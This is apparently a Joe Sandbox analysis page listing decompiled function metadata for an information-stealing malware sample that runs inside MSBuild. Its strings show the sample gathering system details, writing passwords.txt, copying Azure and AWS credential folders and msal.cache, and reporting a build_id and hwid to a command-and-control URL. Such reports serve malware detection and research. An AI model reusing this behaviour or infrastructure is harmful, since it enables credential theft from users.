Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$Close$CreateOpen$InitializeQueryValuelstrcatlstrcpy$InformationLocalNamelstrlen$AllocateBlanketCapsCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariant_memset$CharComputerDevicesDirectoryDisplayFileFirstFreeGlobalH_prolog3_catchH_prolog3_catch_LocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZone
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 2469716241-1014693891
Opcode ID: dc1d7ba0562bf625b066ad92f5a1664cb0e26c57856b77b7a26f3dbe5b97f54e
Instruction ID: 8a42f407c24202d7a6dd8fa6120b12fd45f2decad8a8e81766ce9a60c8fe54d8
Opcode Fuzzy Hash: dc1d7ba0562bf625b066ad92f5a1664cb0e26c57856b77b7a26f3dbe5b97f54e
Instruction Fuzzy Hash: EB527D71D4001EAACF01FBA2DD429DDB7B5AF04308F51456BB610771A1DBB87E8E8B98

Function 004169B6 Relevance: 45.8, APIs: 9, Strings: 17, Instructions: 315
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 0041683E: StrCmpCA.SHLWAPI(?,ERROR), ref: 00416873

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416AC2

Part of subcall function 004168C6: StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416925
Part of subcall function 004168C6: StrStrA.SHLWAPI(00000000,?), ref: 0041693A
Part of subcall function 004168C6: lstrlenA.KERNEL32(?), ref: 00416949
Part of subcall function 004168C6: lstrlenA.KERNEL32(00000000), ref: 00416962

StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B1F
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416B78
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416BD8
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C31
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416C47
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416CA7
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416D00
Sleep.KERNEL32(0000EA60), ref: 00416D0F

Strings

sqlp.dll, xrefs: 00416D44
>wA, xrefs: 00416E2D
ERROR, xrefs: 00416C29
ERROR, xrefs: 00416BD0
ERROR, xrefs: 00416B17
ERROR, xrefs: 00416CF8
sql.dll, xrefs: 00416E0E
ERROR, xrefs: 00416B70
sqlp.dll, xrefs: 00416DAC
ERROR, xrefs: 00416C9F
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416D8D
ERROR, xrefs: 00416C3F
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416DBE
sqlp.dll, xrefs: 00416DDD
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0, xrefs: 00416D25
http://lade.petperfectcare.com:80, xrefs: 00416A54
ERROR, xrefs: 00416ABA

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: >wA$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0$http://lade.petperfectcare.com:80$sql.dll$sqlp.dll$sqlp.dll$sqlp.dll
API String ID: 507064821-3052648669
Opcode ID: d6a0b5c5444a4ccf3efbfa7656036f48e37d140efc54fa1caf20e42d6c103a14
Instruction ID: c90f6ea4a5ca348140cab4ba7e9dbaa9ca4af95923ca0130c421cdf06f76cfec
Opcode Fuzzy Hash: d6a0b5c5444a4ccf3efbfa7656036f48e37d140efc54fa1caf20e42d6c103a14
Instruction Fuzzy Hash: 0FC15C31E40118ABCF10FB66DD47ACCB775AF04308F51406BF815B7192DBB8AE898B99

Function 0040884C Relevance: 42.4, APIs: 23, Strings: 1, Instructions: 405
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410795: StrCmpCA.SHLWAPI(?,?,?,00408863,?,?,?), ref: 0041079E

CopyFileA.KERNEL32(?,?,00000001), ref: 00408941

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 004122B0: _memset.LIBCMT ref: 004122D7
Part of subcall function 004122B0: OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
Part of subcall function 004122B0: TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
Part of subcall function 004122B0: CloseHandle.KERNEL32(00000000), ref: 00412392

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408AA6
RtlAllocateHeap.NTDLL(00000000), ref: 00408AAD
StrCmpCA.SHLWAPI(?,ERROR_RUN_EXTRACTOR), ref: 00408B95
StrCmpCA.SHLWAPI(?,004371E8), ref: 00408BAB
StrCmpCA.SHLWAPI(?,004371EC), ref: 00408BD3
lstrlenA.KERNEL32(?), ref: 00408CF0
lstrlenA.KERNEL32(?), ref: 00408D0B

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

DeleteFileA.KERNEL32(?), ref: 00408D4E

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00408B8F

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Processlstrlen$FileHeaplstrcat$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait_memset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 2819533921-2709115261
Opcode ID: 077028fa3e716a35bf32b89dafc6fd792268f45b4b1644074680612183489aa6
Instruction ID: b1bb328f08e938e4400443fd48ceaf11af5fc61e9b4d8feda928490e573589d9
Opcode Fuzzy Hash: 077028fa3e716a35bf32b89dafc6fd792268f45b4b1644074680612183489aa6
Instruction Fuzzy Hash: 02E14F71A00209AFCF01FFA1ED4A9DD7B76AF04309F10502AF541B71A1DB796E958F98

Function 0040852E Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 230
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 004085D3
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408628
RtlAllocateHeap.NTDLL(00000000), ref: 0040862F
lstrlenA.KERNEL32(?), ref: 004086CB
lstrcatA.KERNEL32(?), ref: 004086E4
lstrcatA.KERNEL32(?,?), ref: 004086EE
lstrcatA.KERNEL32(?,0043719C), ref: 004086FA
lstrcatA.KERNEL32(?,?), ref: 00408704
lstrcatA.KERNEL32(?,004371A0), ref: 00408710
lstrcatA.KERNEL32(?), ref: 0040871D
lstrcatA.KERNEL32(?,?), ref: 00408727
lstrcatA.KERNEL32(?,004371A4), ref: 00408733
lstrcatA.KERNEL32(?), ref: 00408740
lstrcatA.KERNEL32(?,?), ref: 0040874A
lstrcatA.KERNEL32(?,004371A8), ref: 00408756
lstrcatA.KERNEL32(?), ref: 00408763
lstrcatA.KERNEL32(?,?), ref: 0040876D
lstrcatA.KERNEL32(?,004371AC), ref: 00408779
lstrcatA.KERNEL32(?,004371B0), ref: 00408785
lstrlenA.KERNEL32(?), ref: 004087BE
DeleteFileA.KERNEL32(?), ref: 0040880B

Strings

passwords.txt, xrefs: 004087CE

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID: passwords.txt
API String ID: 1956182324-347816968
Opcode ID: 0425c30be70ca39626462c834c4dfe654db9ea7e380ceb02c86be48175c27a70
Instruction ID: dc35adcabb2262aeaa3715ac701fce149c27e2d4e5217412d5f4b6884cb75f27
Opcode Fuzzy Hash: 0425c30be70ca39626462c834c4dfe654db9ea7e380ceb02c86be48175c27a70
Instruction Fuzzy Hash: E2814032900208AFCF05FFA1EE4A9CD7B76BF08316F205026F501B31A1EB7A5E559B59

Function 00404B2E Relevance: 35.4, APIs: 12, Strings: 8, Instructions: 378networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
StrCmpCA.SHLWAPI(?), ref: 00404BEB
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404D83
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00404DC7
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404DF5

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

lstrlenA.KERNEL32(?,00436953,",build_id,004377C4,------,004377B8,",hwid,004377A4,------), ref: 004050EE
lstrlenA.KERNEL32(?,?,00000000), ref: 00405101
HttpSendRequestA.WININET(00000000,?,00000000), ref: 0040510F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040516C
InternetCloseHandle.WININET(00000000), ref: 00405177
InternetCloseHandle.WININET(?), ref: 0040518E
InternetCloseHandle.WININET(?), ref: 0040519A

Strings

------, xrefs: 00404F5B
hwid, xrefs: 00404EAD
build_id, xrefs: 0040500D
HxA, xrefs: 00405222
", xrefs: 00404ED9
------, xrefs: 00404C75
------, xrefs: 00404DFB
", xrefs: 00405039

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: "$"$------$------$------$HxA$build_id$hwid
API String ID: 3006978581-3648483202
Opcode ID: 3e75520d421d15d17480e17177354ca7258db6304e7740180cb8297fdc3c51f4
Instruction ID: 21305393b516d721eabc2380545c4b93fc8e403c2138cad973479bd5099e6fae
Opcode Fuzzy Hash: 3e75520d421d15d17480e17177354ca7258db6304e7740180cb8297fdc3c51f4
Instruction Fuzzy Hash: 0C02C371D5512A9ACF20EB21CD46ADDB7B5FF04308F4140E6A54873191DAB87ECA8FD8

Function 00401666 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129memoryfileCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00401696
wsprintfW.USER32 ref: 004016BC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 004016E6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 004016FE
RtlAllocateHeap.NTDLL(00000000), ref: 00401705
_time64.MSVCRT ref: 0040170E
srand.MSVCRT ref: 00401715
rand.MSVCRT ref: 0040171E
_memset.LIBCMT ref: 0040172E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00401746
_memset.LIBCMT ref: 00401763
CloseHandle.KERNEL32(?), ref: 00401771
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 0040178D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 004017A9
_memset.LIBCMT ref: 004017BE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004017C8
RtlFreeHeap.NTDLL(00000000), ref: 004017CF
CloseHandle.KERNEL32(?), ref: 004017DB

Strings

delays.tmp, xrefs: 004016A4
%s%s, xrefs: 004016B6

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileHeap$_memset$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1620473967-1413376734
Opcode ID: 39f734473f17f97426e056466eb3bebedc037311c24c273f22620d7e2f0f990d
Instruction ID: 9b5f552432b4e98a6f0c5797751fefc193ccc8af765751ef1568987e4d70ee72
Opcode Fuzzy Hash: 39f734473f17f97426e056466eb3bebedc037311c24c273f22620d7e2f0f990d
Instruction Fuzzy Hash: B641C6B1D00218ABDB205F61AC4CF9F7B7DEB85715F1016BAF00AE10A1DA394E54CF28

Function 004164BD Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004164E2

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416501
lstrcatA.KERNEL32(?,\.azure\), ref: 0041651E

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416018
Part of subcall function 00415FD1: FindFirstFileA.KERNEL32(?,?), ref: 0041602F
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB4), ref: 00416050
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436AB8), ref: 0041606A
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 00416091
Part of subcall function 00415FD1: StrCmpCA.SHLWAPI(?,00436647), ref: 004160A5
Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160C2
Part of subcall function 00415FD1: PathMatchSpecA.SHLWAPI(?,?), ref: 004160EF
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?), ref: 00416125
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD0), ref: 00416137
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 0041614A
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,00436AD4), ref: 0041615C
Part of subcall function 00415FD1: lstrcatA.KERNEL32(?,?), ref: 00416170

_memset.LIBCMT ref: 00416556
lstrcatA.KERNEL32(?,00000000), ref: 00416578
lstrcatA.KERNEL32(?,\.aws\), ref: 00416595

Part of subcall function 00415FD1: wsprintfA.USER32 ref: 004160D9
Part of subcall function 00415FD1: CopyFileA.KERNEL32(?,?,00000001), ref: 00416229
Part of subcall function 00415FD1: DeleteFileA.KERNEL32(?), ref: 0041629D
Part of subcall function 00415FD1: FindNextFileA.KERNEL32(?,?), ref: 004162FF
Part of subcall function 00415FD1: FindClose.KERNEL32(?), ref: 00416313

_memset.LIBCMT ref: 004165CA
lstrcatA.KERNEL32(?,00000000), ref: 004165EC
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00416609
_memset.LIBCMT ref: 0041663E

Strings

\.aws\, xrefs: 00416589
Azure\.aws, xrefs: 004165A5
\.IdentityService\, xrefs: 004165FD
msal.cache, xrefs: 0041661E
\.azure\, xrefs: 00416512
Azure\.IdentityService, xrefs: 00416619
Azure\.azure, xrefs: 00416531
*.*, xrefs: 00416536
*.*, xrefs: 004165AA

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File_memsetwsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 780282842-974132213
Opcode ID: b2de320116ee48312a564d7ea93f2006b998ac76d702aa901ef76f6d1a7c5bf4
Instruction ID: 84896bacdfb64059cc425482cd21a2e289ba5d14c04e476c3e3a3401a8d995fd
Opcode Fuzzy Hash: b2de320116ee48312a564d7ea93f2006b998ac76d702aa901ef76f6d1a7c5bf4
Instruction Fuzzy Hash: E841C671D4021C7BDB14EB60EC47FDD7378AB09304F6044AAB605A7090EABDAB888F58

Function 0040ABE5 Relevance: 33.3, APIs: 22, Instructions: 315stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC8A
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AD94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD9B
StrCmpCA.SHLWAPI(?,004373DC,00000000), ref: 0040AE4C
StrCmpCA.SHLWAPI(?,004373E0), ref: 0040AE74
lstrcatA.KERNEL32(00000000,?), ref: 0040AE98
lstrcatA.KERNEL32(00000000,004373E4), ref: 0040AEA4
lstrcatA.KERNEL32(00000000,?), ref: 0040AEAE
lstrcatA.KERNEL32(00000000,004373E8), ref: 0040AEBA
lstrcatA.KERNEL32(00000000,?), ref: 0040AEC4
lstrcatA.KERNEL32(00000000,004373EC), ref: 0040AED0
lstrcatA.KERNEL32(00000000,?), ref: 0040AEDA
lstrcatA.KERNEL32(00000000,004373F0), ref: 0040AEE6
lstrcatA.KERNEL32(00000000,?), ref: 0040AEF0
